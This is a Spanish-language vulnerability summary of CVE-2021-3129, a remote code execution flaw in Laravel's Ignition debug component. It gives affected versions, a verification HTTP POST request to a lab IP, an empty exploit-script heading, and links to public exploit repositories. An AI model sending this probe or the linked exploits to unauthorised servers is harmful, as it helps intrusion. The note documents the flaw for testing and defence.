CVE-2021-3129

Laravel RCE CVE-2021-3129

Resumen de la vulnerabilidad

Cuando Laravel tiene el modo Debug habilitado, debido al uso inseguro de las funciones file_get_contents() y file_put_contents() por parte del componente Ignition que viene con Laravel, un atacante puede desencadenar la deserialización de Phar mediante la realización de solicitudes maliciosas, la construcción de archivos de Log maliciosos, etc., lo que finalmente resulta en la ejecución remota de código.

Versiones afectadas

Laravel <= 8.4.2

Verificación de la vulnerabilidad

• Devolver 500 demuestra que existe la vulnerabilidad

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.24.153:8888
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=cve20213129&parameters[viewFile]=null

Script de explotación

Referencias

[CVE-2021-3129]Laravel Debug mode Reproducción de RCE | tyskillのBlog

SNCKER/CVE-2021-3129: Laravel debug rce (github.com)

zhzyker/CVE-2021-3129: Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129) (github.com)